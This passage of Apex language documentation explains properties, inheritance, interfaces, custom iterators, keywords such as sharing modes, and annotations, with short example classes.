- *access_modifier* is the access modifier for the property. The access modifiers that can be applied to properties include: `public`, `private`, `global`, and `protected`. In addition, these definition modifiers can be applied: `static` and `transient`. For more information on access modifiers, see [Access Modifiers](#) on page 69.
- *return_type* is the type of the property, such as Integer, Double, sObject, and so on. For more information, see [Data Types](#) on page 24.
- *property_name* is the name of the property

For example, the following class defines a property named `prop`. The property is public. The property returns an integer data type.

```
public class BasicProperty {
    public integer prop {
        get { return prop; }
        set { prop = value; }
    }
}
```

The following code segment calls the `BasicProperty` class, exercising the get and set accessors:

```
BasicProperty bp = new BasicProperty();
bp.prop = 5; // Calls set accessor
System.assertEquals(5, bp.prop); // Calls get accessor
```

Note the following:

- The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is the same as reading the value of the variable.
- The get accessor must end in a return statement.
- We recommend that your get accessor not change the state of the object that it's defined on.
- The set accessor is similar to a method whose return type is void.
- When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
- In API version 42.0 and later, unless a variable value is set in a set accessor, you can't update its value in a get accessor.
- When the set accessor is invoked, the system passes an implicit argument to the setter called `value` of the same data type as the property.
- Properties can't be defined on `interface`.
- Apex properties are based on their counterparts in C#, with the following differences:
 - Properties provide storage for values directly. You don't need to create supporting members for storing values.
 - It's possible to create automatic properties in Apex. For more information, see [Using Automatic Properties](#) on page 75.

Using Automatic Properties

Properties don't require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks empty to define an *automatic property*. Automatic properties allow you to write more compact code that is easier to debug and maintain. They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:

```
public class AutomaticProperty {
    public integer MyReadOnlyProp { get; }
    public double MyReadWriteProp { get; set; }
    public string MyWriteOnlyProp { set; }
}
```

The following code segment exercises these properties:

```
AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5; // This produces a compile error: not writable
ap.MyReadWriteProp = 5; // No error
System.assertEquals(5, ap.MyWriteOnlyProp); // This produces a compile error: not readable
```

Using Static Properties

When a property is declared as **static**, the property's accessor methods execute in a static context. Therefore, accessors don't have access to non-static member variables defined in the class. The following example creates a class with both static and instance properties:

```
public class StaticProperty {
    private static integer StaticMember;
    private integer NonStaticMember;

    // The following produces a system error
    // public static integer MyBadStaticProp { return NonStaticMember; }

    public static integer MyGoodStaticProp {
        get {return StaticMember;}
        set { StaticMember = value; }
    }
    public integer MyGoodNonStaticProp {
        get {return NonStaticMember;}
        set { NonStaticMember = value; }
    }
}
```

The following code segment calls the static and instance properties:

```
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;

// The following does not produce an error
StaticProperty.MyGoodStaticProp = 5;
```

Using Access Modifiers on Property Accessors

Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on the property itself. For example, if the property has been defined as **public**, the individual accessor can't be defined as **global**. The following class definition shows additional examples:

```
global virtual class PropertyVisibility {
    // X is private for read and public for write
    public integer X { private get; set; }
    // Y can be globally read but only written within a class
    global integer Y { get; public set; }
    // Z can be read within the class but only subclasses can set it
    public integer Z { get; protected set; }
}
```

Extending a Class

You can extend a class to provide more specialized behavior.

A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can override the existing virtual methods by using the **override** keyword in the method definition. Overriding a virtual method allows you

to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on the object you're calling it on. This is referred to as polymorphism.

A class extends another class using the `extends` keyword in the class definition. A class can only extend one other class, but it can implement more than one interface.

This example shows how the `YellowMarker` class extends the `Marker` class. To run the inheritance examples in this section, first create the `Marker` class.

```
public virtual class Marker {
    public virtual void write() {
        System.debug('Writing some text.');
```

```
    }

    public virtual Double discount() {
        return .05;
    }
}
```

Then create the `YellowMarker` class, which extends the `Marker` class.

```
// Extension for the Marker class
public class YellowMarker extends Marker {
    public override void write() {
        System.debug('Writing some text using the yellow marker.');
```

```
    }
}
```

This code segment shows polymorphism. The example declares two objects of the same type (`Marker`). Even though both objects are markers, the second object is assigned to an instance of the `YellowMarker` class. Hence, calling the `write` method on it yields a different result than calling this method on the first object, because this method has been overridden. However, you can call the `discount` method on the second object even though this method isn't part of the `YellowMarker` class definition. But it's part of the extended class, and hence, is available to the extending class, `YellowMarker`. Run this snippet in the Execute Anonymous window of the Developer Console.

```
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();

obj2 = new YellowMarker();
// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();
```

The extending class can have more method definitions that aren't common with the original extended class. In this example, the `RedMarker` class extends the `Marker` class and has one extra method, `computePrice`, that isn't available for the `Marker` class. To call the extra methods, the object type must be the extending class.

Before running the next snippet, create the `RedMarker` class, which requires the `Marker` class in your org.

```
// Extension for the Marker class
public class RedMarker extends Marker {
    public override void write() {
        System.debug('Writing some text in red.');
```

```

    }

    // Method only in this class
    public Double computePrice() {
        return 1.5;
    }
}

```

This snippet shows how to call the additional method on the `RedMarker` class. Run this snippet in the Execute Anonymous window of the Developer Console.

```

RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();

```

Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another interface, all the methods and properties of the extended interface are available to the extending interface.

Versioned Behavior Changes

In API version 65.0 and later, an abstract or override method requires a `protected`, `public`, or `global` access modifier. If one of these access modifiers isn't explicitly included in the method declaration, then method access defaults to `private`. Private access is invalid for these method types because the implementing class can't access the abstract method. Therefore, if you attempt to declare an abstract or override method without an allowed access modifier, you get the compilation error `Abstract methods require at least one of the following: global, public, protected`.

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are annotated with `@namespaceAccessible`. For accessibility considerations, see [NamespaceAccessible Annotation](#). For more information on namespace-based visibility, see [Namespace-Based Visibility for Apex Classes in Second-Generation Packages](#).

Extended Class Example

The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the example are explained in more detail throughout this chapter.

```

// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {

    // Static final variable (constant) - outer class level only
    private static final Integer MY_INT;

    // Non-final static variable - use this to communicate state across triggers
    // within a single request)
    public static String sharedState;

    // Static method - outer class level only
    public static Integer getInt() { return MY_INT; }

    // Static initialization (can be included where the variable is defined)
    static {
        MY_INT = 2;
    }
}

```

```

// Member variable for outer class
private final String m;

// Instance initialization block - can be done where the variable is declared,
// or in a constructor
{
    m = 'a';
}

// Because no constructor is explicitly defined in this outer class, an implicit,
// no-argument, public constructor exists

// Inner interface
public virtual interface MyInterface {

    // No access modifier is necessary for interface methods - these are always
    // public or global depending on the interface visibility
    void myMethod();
}

// Interface extension
interface MySecondInterface extends MyInterface {
    Integer method2(Integer i);
}

// Inner class - because it is virtual it can be extended.
// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {

    // Inner member variables
    private final String s;
    private final String s2;

    // Inner instance initialization block (this code could be located above)
    {
        this.s = 'x';
    }

    // Inline initialization (happens after the block above executes)
    private final Integer i = s.length();

    // Explicit no argument constructor
    InnerClass() {
        // This invokes another constructor that is defined later
        this('none');
    }

    // Constructor that assigns a final variable value
    public InnerClass(String s2) {
        this.s2 = s2;
    }

    // Instance method that implements a method from MyInterface.

```

```

// Because it is declared virtual it can be overridden by a subclass.
public virtual void myMethod() { /* does nothing */ }

// Implementation of the second interface method above.
// This method references member variables (with and without the "this" prefix)
public Integer method2(Integer i) { return this.i + s.length(); }
}

// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {

    // Override the parent class method with this signature.
    // Must use the override keyword
    public override void myMethod() { /* do something else */ }

    // Same name as parent class method, but different signature.
    // This is a different method (displaying polymorphism) so it does not need
    // to use the override keyword
    protected void method2() {}

    // Abstract method - subclasses of this class must implement this method
    public abstract Integer abstractMethod();
}

// Complete the abstract class by implementing its abstract method
public class ConcreteChildClass extends AbstractChildClass {
    // Here we expand the visibility of the parent method - note that visibility
    // cannot be restricted by a sub-class
    public override Integer abstractMethod() { return 5; }
}

// A second sub-class of the original InnerClass
public class AnotherChildClass extends InnerClass {
    AnotherChildClass(String s) {
        // Explicitly invoke a different super constructor than one with no arguments
        super(s);
    }
}

// Exception inner class
public virtual class MyException extends Exception {
    // Exception class member variable
    public Double d;

    // Exception class constructor
    MyException(Double d) {
        this.d = d;
    }

    // Exception class method, marked as protected
    protected void doIt() {}
}

```

```
// Exception classes can be abstract and implement interfaces
public abstract class MySecondException extends Exception implements MyInterface {
}
}
```

This code example illustrates:

- A top-level class definition (also called an *outer class*)
- Static variables and static methods in the top-level class, as well as static initialization code blocks
- Member variables and methods for the top-level class
- Classes with no user-defined constructor — these have an implicit, no-argument constructor
- An interface definition in the top-level class
- An interface that extends another interface
- Inner class definitions (one level deep) within a top-level class
- A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method signatures
- An inner class constructor definition and invocation
- An inner class member variable and a reference to it using the `this` keyword (with no arguments)
- An inner class constructor that uses the `this` keyword (with arguments) to invoke a different constructor
- Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces (`{ }`). Note that these execute with every construction in the order they appear in the file, as with Java.
- Class extension and an abstract class
- Methods that override base class methods (which must be declared `virtual`)
- The `override` keyword for methods that override subclass methods
- Abstract methods and their implementation by concrete sub-classes
- The `protected` access modifier
- Exceptions as first class objects with members, methods, and constructors

This example shows how the class above can be called by other Apex code:

```
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');

// Call user-defined methods in the class
System.assertEquals(2, ic.method2(1));

// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;

// Use instanceof and casting as usual
OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
    (OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);

// Construct the outer type
OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());
```

```
// Construct instances of abstract class children
System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());

// Illegal - cannot construct an abstract class
// new OuterClass.AbstractChildClass();

// Illegal - cannot access a static method through an instance
// o.getInt();

// Illegal - cannot call protected method externally
// new OuterClass.ConcreteChildClass().method2();
```

This code example illustrates:

- Construction of the outer class
- Construction of an inner class and the declaration of an inner interface type
- A variable declared as an interface type can be assigned an instance of a class that implements that interface
- Casting an interface variable to be a class type that implements that interface (after verifying this using the `instanceof` operator)

Interfaces

An *interface* is like a class in which none of the methods have been implemented—the method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface.

Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration for that method. This way you can have different implementations of a method based on your specific application.

Defining an interface is similar to defining a new class. For example, a company can have two types of purchase orders, ones that come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method to provide a discount. The amount of the discount can depend on the type of purchase order.

You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees. In the following example the focus is only on the discount aspect of a purchase order.

Here's the definition of the `PurchaseOrder` interface.

```
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
    // All other functionality excluded
    Double discount();
}
```

This class implements the `PurchaseOrder` interface for customer purchase orders.

```
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
    public Double discount() {
        return .05; // Flat 5% discount
    }
}
```

This class implements the `PurchaseOrder` interface for employee purchase orders.

```
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
    public Double discount() {
        return .10; // It's worth it being an employee! 10% discount
    }
}
```

Note the following about the example:

- The interface `PurchaseOrder` is defined as a general prototype. Methods defined within an interface have no access modifiers and contain just their signature.
- The `CustomerPurchaseOrder` class implements this interface; therefore, it must provide a definition for the `discount` method. Any class that implements an interface must define all the methods contained in the interface.

When you define a new interface, you're defining a new data type. You can use an interface name in any place you can use another data type name. Any object assigned to a variable of type interface must be an instance of a class that implements the interface, or a sub-interface data type.

See also [Classes and Casting](#) on page 118.



Note: You can't add a method to a global interface after the class has been uploaded in a Managed - Released package version.

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are annotated with `@namespaceAccessible`. For accessibility considerations, see [NamespaceAccessible Annotation](#). For more information on namespace-based visibility, see [Namespace-Based Visibility for Apex Classes in Second-Generation Packages](#).

In API version 61.0 and later, private methods are no longer overridden by an instance method with the same signature in a subclass. This change is versioned, so to prevent the override, update your abstract or virtual classes that contain private methods to API version 61.0 or later. In API version 60.0 and earlier, if a subclass declares an instance method with the same signature as a private method in one of its superclasses, the subclass method overrides the private method.

1. [Custom Iterators](#)

Custom Iterators

An iterator traverses through every item in a collection. For example, in a procedural loop, you define a condition for exiting the loop, and you must provide some means of traversing the collection, that is, an iterator. In this example, `count` is incremented by 1 every time the loop is executed.

```
while (count < 11) {
    System.debug(count);
    count++;
}
```

Using the `Iterator` interface you can create a custom set of instructions for traversing a List through a loop. The iterator is useful for data that exists in sources outside of Salesforce that you would normally define the scope of using a `SELECT` statement. Iterators can also be used if you have multiple `SELECT` statements.

Using Custom Iterators

To use custom iterators, you must create an Apex class that implements the `Iterator` interface.

The `Iterator` interface has the following instance methods:

Name	Arguments	Returns	Description
<code>hasNext</code>		Boolean	Returns <code>true</code> if there's another item in the collection being traversed, <code>false</code> otherwise.
<code>next</code>		Any type	Returns the next item in the collection.

All methods in the `Iterator` interface must be declared as `global` or `public`.

This example code uses a custom iterator to iterate through a list of strings.

```
IterableString x = new IterableString('This is a really cool test.');
```

```
while(x.hasNext()) {
    system.debug(x.next());
}
```

Using Custom Iterators with `Iterable`

If you don't want to use a custom iterator with a list, but instead want to create your own data structure, you can use the `Iterable` interface to generate the data structure.

The `Iterable` interface has the following method:

Name	Arguments	Returns	Description
<code>iterator</code>		Iterator class	Returns a reference to the iterator for this interface.

The `iterator` method must be declared as `global` or `public`. It creates a reference to the iterator that you can then use to traverse the data structure.

In the following example a custom iterator iterates through a collection:

```
public class CustomIterator
    implements Iterator<Account>{

    private List<Account> accounts;
    private Integer currentIndex;

    public CustomIterator(List<Account> accounts) {
        this.accounts = accounts;
        this.currentIndex = 0;
    }

    public Boolean hasNext() {
        return currentIndex < accounts.size();
    }
}
```



```

    public Account next() {
        if (hasNext()) {
            return accounts[currentIndex++];
        } else {
            throw new NoSuchElementException('Iterator has no more elements.');
```

```

    }
}

public class CustomIterable implements Iterable<Account> {
    public Iterator<Account> iterator() {
        List<Account> accounts =
        [SELECT Id, Name,
         NumberOfEmployees
         FROM Account
         LIMIT 10];
        return new CustomIterator(accounts);
    }
}
```

The following is a batch job that uses an iterator:

```

public class BatchClass implements Database.Batchable<Account> {
    public Iterable<Account> start(Database.BatchableContext info) {
        return new CustomIterable();
    }
    public void execute(Database.BatchableContext info, List<Account> scope) {
        List<Account> accsToUpdate = new List<Account>();
        for (Account acc : scope) {
            acc.Name = 'changed';
            acc.NumberOfEmployees = 69;
            accsToUpdate.add(acc);
        }
        update accsToUpdate;
    }
    public void finish(Database.BatchableContext info) {
    }
}
```

Keywords

Apex provides the keywords `final`, `instanceof`, `super`, `this`, `transient`, `with sharing` and `without sharing`.

1. [Using the final Keyword](#)
2. [Using the instanceof Keyword](#)
3. [Using the super Keyword](#)
4. [Using the this Keyword](#)
5. [Using the transient Keyword](#)

6. [Use the with sharing, without sharing, and inherited sharing Keywords](#)

Use the `with sharing` or `without sharing` keywords on a class to specify whether sharing rules are enforced. Use the `inherited sharing` keyword on a class to run the class in the sharing mode of the calling class. The default sharing mode is `with sharing`.

SEE ALSO:

[Reserved Keywords](#)

Using the final Keyword

Keep in mind these consideration while using the `final` keyword to modify variables.

- Final variables can be assigned a value only once. Static final variables can be initialized in static initialization code blocks or where defined. Member final variables can be initialized in initialization code blocks, constructors, or where defined.
- To define a constant, mark a variable as both `static` and `final`.
- Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they aren't shared across requests.
- Methods and classes are final by default. You can't use the `final` keyword in the declaration of a class or method. This means they can't be overridden. Use the `virtual` keyword if you need to override a method or class.
- You can't use the `final` keyword with properties.

SEE ALSO:

[Extended Class Example](#)

Using the instanceof Keyword

If you need to verify at run time whether an object is actually an instance of a particular class, use the `instanceof` keyword. The `instanceof` keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative for the declared type of the expression on the left.

You could add the following check to the `Report` class in the [classes and casting example](#) before you cast the item back into a `CustomReport` object.

```
if (Reports.get(0) instanceof CustomReport) {
    // Can safely cast it back to a custom report object
    CustomReport c = (CustomReport) Reports.get(0);
} else {
    // Do something with the non-custom-report.
}
```

Implementation Considerations

Keep these considerations in mind while using the `instanceof` keyword.

- If the declared type on the left of the expression using the `instanceof` keyword is always an instance of the target type, compilation fails. An example expression that's always true and therefore causes a compilation error.

```
Account acc = new Account();
if(acc instanceof Account) {
    //condition is always true since an instance of Account is always an instance of
```

```
Account
}
```

- When you perform `instanceof` checks, implicit type casting from `String` to `ID` can result in unexpected behavior if the `String` meets the requirements to be cast to an `ID`.

Versioned Behavior Changes

In API version 60.0 and later, if a `List` data type implements the `Iterable` data type, compilation fails. An example `instanceof` expression that causes a compilation error.

```
public class BaseClass {}
public class SubClass extends BaseClass {}

List<SubClass> subClasses = new List<SubClass>();
if(subClasses instanceof Iterable<BaseClass>) {
    //condition is always true since an instance of SubClass is always an instance of
    BaseClass
}
```

In API version 32.0 and later, `instanceof` returns `false` if the left operand is a null object. In API version 31.0 and earlier, `instanceof` returns true in this case. For example, the code sample returns `false` in API version 32.0 and later.

```
Object o = null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);
```

Using the super Keyword

The `super` keyword can be used by classes that are extended from virtual or abstract classes. By using `super`, you can override constructors and methods from the parent class.

For example, if you have the following virtual class:

```
public virtual class SuperClass {
    public String mySalutation;
    public String myFirstName;
    public String myLastName;

    public SuperClass() {

        mySalutation = 'Mr.';
        myFirstName = 'Carl';
        myLastName = 'Vonderburg';
    }

    public SuperClass(String salutation, String firstName, String lastName) {

        mySalutation = salutation;
        myFirstName = firstName;
        myLastName = lastName;
    }

    public virtual void printName() {
```

```
        System.debug('My name is ' + mySalutation + myLastName);
    }

    public virtual String getFirstName() {
        return myFirstName;
    }
}
```

You can create the following class that extends `Superclass` and overrides its `printName` method:

```
public class Subclass extends Superclass {
    public override void printName() {
        super.printName();
        System.debug('But you can call me ' + super.getFirstName());
    }
}
```

The expected output when calling `Subclass.printName` is `My name is Mr. Vonderburg. But you can call me Carl.`

You can also use `super` to call constructors. Add the following constructor to `SubClass`:

```
public Subclass() {
    super('Madam', 'Brenda', 'Clapentrap');
}
```

Now, the expected output of `Subclass.printName` is `My name is Madam Clapentrap. But you can call me Brenda.`

Best Practices for Using the `super` Keyword

- Only classes that are extending from `virtual` or `abstract` classes can use `super`.
- You can only use `super` in methods that are designated with the `override` keyword.

Using the `this` Keyword

There are two different ways of using the `this` keyword.

You can use the `this` keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears. Use this form of the `this` keyword to access instance variables and methods. For example:

```
public class myTestThis {

    string s;
    {
        this.s = 'TestString';
    }
}
```

In the above example, the class `myTestThis` declares an instance variable `s`. The initialization code populates the variable using the `this` keyword.

Or you can use the `this` keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use the `this` keyword with parentheses. For example:

```
public class testThis {

    // First constructor for the class. It requires a string parameter.
    public testThis(string s2) {
    }

    // Second constructor for the class. It does not require a parameter.
    // This constructor calls the first constructor using the this keyword.
    public testThis() {
        this('None');
    }
}
```

When you use the `this` keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.

Using the transient Keyword

Use the `transient` keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state for a Visualforce page. For example:

```
Transient Integer currentTotal;
```

You can also use the `transient` keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes that implement the `Batchable` or `Schedulable` interface. In addition, you can use `transient` in classes that define the types of fields declared in the serializable classes.

Declaring variables as `transient` reduces view state size. A common use case for the `transient` keyword is a field on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request.

Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following:

- PageReferences
- XmlStream classes
- Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints
- Most of the objects generated by system methods, such as `Schema.getGlobalDescribe`.
- `JSONParser` class instances.

[Static variables](#) also don't get transmitted through the view state.

The following example contains both a Visualforce page and a custom controller. Clicking the **refresh** button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same.

```
<apex:page controller="ExampleController">
    T1: {!t1} <br/>
    T2: {!t2} <br/>
    <apex:form>
        <apex:commandLink value="refresh"/>
    </apex:form>
</apex:page>
```

```
</apex:form>
</apex:page>

public class ExampleController {

    DateTime t1;
    transient DateTime t2;

    public String getT1() {
        if (t1 == null) t1 = System.now();
        return '' + t1;
    }

    public String getT2() {
        if (t2 == null) t2 = System.now();
        return '' + t2;
    }
}
```

SEE ALSO:

[Apex Reference Guide: JSONParser Class](#)

Use the **with sharing**, **without sharing**, and **inherited sharing** Keywords

Use the `with sharing` or `without sharing` keywords on a class to specify whether sharing rules are enforced. Use the `inherited sharing` keyword on a class to run the class in the sharing mode of the calling class. The default sharing mode is `with sharing`.



Tip: For information about how to create sharing rules, see [Sharing Rules](#) in Salesforce Help.

With Sharing

Use the `with sharing` keyword when declaring a class to enforce sharing rules of the current user. Salesforce recommends that you explicitly set this keyword to ensure that Apex code runs in the current user context. If a class doesn't have an explicit sharing declaration, then it defaults to `with sharing`.

```
public with sharing class sharingClass {

    // Code here

}
```

Without Sharing

Use the `without sharing` keyword when declaring a class to ensure that the sharing rules for the current user aren't enforced. For example, you can explicitly allow a class to ignore sharing rules even when it's called from another class that does enforce sharing rules.

```
public without sharing class noSharing {

    // Code here

}
```

```
}
```

Important: If you declare a class as `without sharing`, the class can access records that the current user otherwise doesn't have permission to access. Salesforce recommends that you use `without sharing` only for classes that require system-level access.

Inherited Sharing

Use the `inherited sharing` keyword when declaring a class to enforce the sharing rules of the calling class. Using `inherited sharing` is an advanced technique to determine the sharing mode at run time and design Apex classes that can run in either `with sharing` or `without sharing` mode.

Important: Because the sharing mode is determined at run time, you must take extreme care to ensure that your Apex code is secure to run in both `with sharing` and `without sharing` modes.

Using `inherited sharing`, along with other appropriate security checks, helps your code pass AppExchange security review and ensures that your privileged Apex code isn't used in unexpected or insecure ways. An Apex class with `inherited sharing` runs in `with sharing` mode if used as:

- An Aura component controller
- An `@AuraEnabled` method called from a Lightning web component
- A Visualforce controller
- An Apex REST service
- An asynchronous Apex class
- Any other entry point to an Apex transaction

A class declared as `inherited sharing` runs as `without sharing` only when explicitly called from an already established `without sharing` context.

Omitted Sharing

Apex without an explicit sharing declaration runs as `with sharing` by default. However, if an Apex class without an explicit sharing declaration extends from a parent class, it adopts the same sharing mode as the parent class.

Important: We recommend that you always include an explicit sharing declaration on Apex classes that include database operations or SOQL queries. This practice promotes intentionality and increases code maintainability.

Identifying the sharing mode for Apex classes compiled with API version 66.0 or earlier is challenging without an explicit declaration. Determining the sharing mode in these cases requires a thorough investigation of the class inheritance tree, the caller sequence, and the class's behavior. See the Versioned Behavior Changes section.

Implementation in Apex Triggers

Apex triggers can't have an explicit sharing declaration. Triggers always run in system mode and as `without sharing`, which means that they bypass the sharing rules, field-level security, and object permissions of the current user. Instead, to enforce data access settings, delegate business logic to separate trigger handlers, where you can define sharing and access modes.

Other Implementation Details

- Sharing declarations don't enforce object-level access or field-level security. See [Enforcing Object and Field Permissions](#).

- Except for methods in an `inherited sharing` class, the sharing mode of a method is determined by where the method is defined, not where it's called from. For example, a method defined in a `with sharing` class still enforces sharing rules even if it's called from a `without sharing` class. Exceptions also apply to methods for classes compiled with API version 66.0 or earlier. See the Versioned Behavior Changes section.
- You can declare a sharing mode on both inner classes and outer classes. Inner classes don't adopt the sharing mode of the container class. Otherwise, the sharing setting applies to all code contained in the class, including initialization code, constructors, and methods.
- If an Apex class without an explicit sharing declaration extends from a parent class, then it adopts the same sharing mode as the parent class.
- [Asynchronous Apex](#) classes defined with `inherited sharing` always run in `with sharing` mode for asynchronous operations. Each asynchronous operation is a new entry point and the sharing mode isn't serialized.
- Anonymous Apex and Connect in Apex always run in `with sharing` mode.

Best Practices

We recommend that you always include an explicit sharing declaration on Apex classes that include database operations or SOQL queries. This practice promotes intentionality and increases code maintainability.

Sharing Mode	When to Use
<code>with sharing</code>	Use this mode as the default unless your use case requires otherwise.
<code>without sharing</code>	Use this mode with caution. Make sure that you don't inadvertently expose sensitive data that's normally hidden by sharing rules. This sharing mode is best used to grant targeted elevation of sharing privileges to the current user. For example, use <code>without sharing</code> to allow community users to read records to which they wouldn't otherwise have access.
<code>inherited sharing</code>	Use this mode for service classes that must be flexible and support use cases with different sharing modes.

Versioned Behavior Changes

In API version 67.0 and later, classes without an explicit sharing declaration run in `with sharing` mode.

In API version 66.0 and earlier, the sharing mode of classes without an explicit sharing declaration is determined according these factors.

- If the class is part of an inheritance chain, and any class in that chain is saved as API version 67.0 and later, the class runs in `with sharing` mode.
- If the class is an Aura controller or an `@AuraEnabled` method called from a Lightning web component, the class runs in `with sharing` mode.
- Otherwise, the class runs in `without sharing` mode.
- If the class isn't an Apex entry point, its sharing mode is defined by the sharing mode of the calling class.

Annotations

An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with an initial `@` symbol, followed by the appropriate keyword.

To add an annotation to a method, specify it immediately before the method or class definition. For example:

```
global class MyClass {
    @Future
    Public static void myMethod(String a)
    {
        //long-running Apex code
    }
}
```

Apex supports these annotations.

- [@AuraEnabled](#)
- [@Deprecated](#)
- [@Future](#)
- [@InvocableMethod](#)
- [@InvocableVariable](#)
- [@IsTest](#)
- [@JsonAccess](#)
- [@NamespaceAccessible](#)
- [@ReadOnly](#)
- [@RemoteAction](#)
- [@SuppressWarnings](#)
- [@TestSetup](#)
- [@TestVisible](#)
- Apex REST annotations:
 - [@ReadOnly](#)
 - [@RestResource](#) (urlMapping= '/*yourUrl*')
 - [@HttpDelete](#)
 - [@HttpGet](#)
 - [@HttpPatch](#)
 - [@HttpPost](#)
 - [@HttpPut](#)

You can use multiple annotations for the same class or method. Specify each annotation on a separate line immediately before the class or method definition. Some annotations can't be used together. If applicable, these limitations are documented on the page for the annotation.

1. [AuraEnabled Annotation](#)
2. [Deprecated Annotation](#)
3. [Future Annotation](#)

Use the `Future` annotation to identify methods that run asynchronously. A future method runs when Salesforce has available resources.

4. [IntegrationTest Annotation \(Developer Preview\)](#)

Use the `IntegrationTest` annotation to mark both classes and methods that are used in integration testing.

5. [InvocableMethod Annotation](#)

Use the `InvocableMethod` annotation to identify methods that can be run as invocable actions.

6. [InvocableVariable Annotation](#)

To identify variables used by invocable methods in custom classes, use the `InvocableVariable` annotation.

7. [IsTest Annotation](#)8. [JsonAccess Annotation](#)

The `@JsonAccess` annotation defined at Apex class level controls whether instances of the class can be serialized or deserialized. If the annotation restricts the JSON or XML serialization and deserialization, a runtime `JSONException` exception is thrown.

9. [NamespaceAccessible Annotation](#)10. [ReadOnly Annotation](#)11. [RemoteAction Annotation](#)12. [SuppressWarnings Annotation](#)

This annotation does nothing in Apex but can be used to provide information to third-party tools.

13. [TestSetup Annotation](#)

Methods defined with the `@TestSetup` annotation are used for creating common test records that are available for all test methods in the class.

14. [TearDown Annotation \(Developer Preview\)](#)

Use the `TearDown` annotation to mark a cleanup method that runs after the test completes, regardless of pass or fail.

15. [TestVisible Annotation](#)

AuraEnabled Annotation

The `@AuraEnabled` annotation enables client-side and server-side access to an Apex controller method. Providing this annotation makes your methods available to your Lightning components (both Lightning web components and Aura components). Only methods with this annotation are exposed.

In API version 44.0 and later, you can improve runtime performance by caching method results on the client by using the annotation `@AuraEnabled(cacheable=true)`. You can cache method results only for methods that retrieve data but don't modify it. Using this annotation eliminates the need to call `setStorable()` in JavaScript code on every action that calls the Apex method.

In API version 55.0 and later, you can use the annotation `@AuraEnabled(cacheable=true scope='global')` to enable Apex methods to be cached in a global cache.

For more information, see [Lightning Aura Components Developer Guide](#) and [Lightning Web Components Developer Guide](#).

Versioned Behavior Changes

In API version 55.0 and later, overloads aren't allowed on methods annotated with `@AuraEnabled`.

Deprecated Annotation

Use the `Deprecated` annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be referenced in subsequent releases of the [managed package](#) in which they reside. This annotation is useful when you're refactoring code in managed packages as the requirements evolve. New subscribers can't see the deprecated elements, while the elements continue to function for existing subscribers and API integrations.

The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces, or variables.

```
@Deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {

}
```

Note the following rules when deprecating Apex identifiers:

- Unmanaged packages can't contain code that uses the `deprecated` keyword.
- When an Apex item is deprecated, all `global` access modifiers that reference the deprecated identifier must also be deprecated. Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
- `webservice` methods and variables can't be deprecated.
- You can deprecate an `enum` but you can't deprecate individual `enum` values.
- You can deprecate an interface but you can't deprecate individual methods in an interface.
- You can deprecate an abstract class but you can't deprecate individual abstract methods in an abstract class.
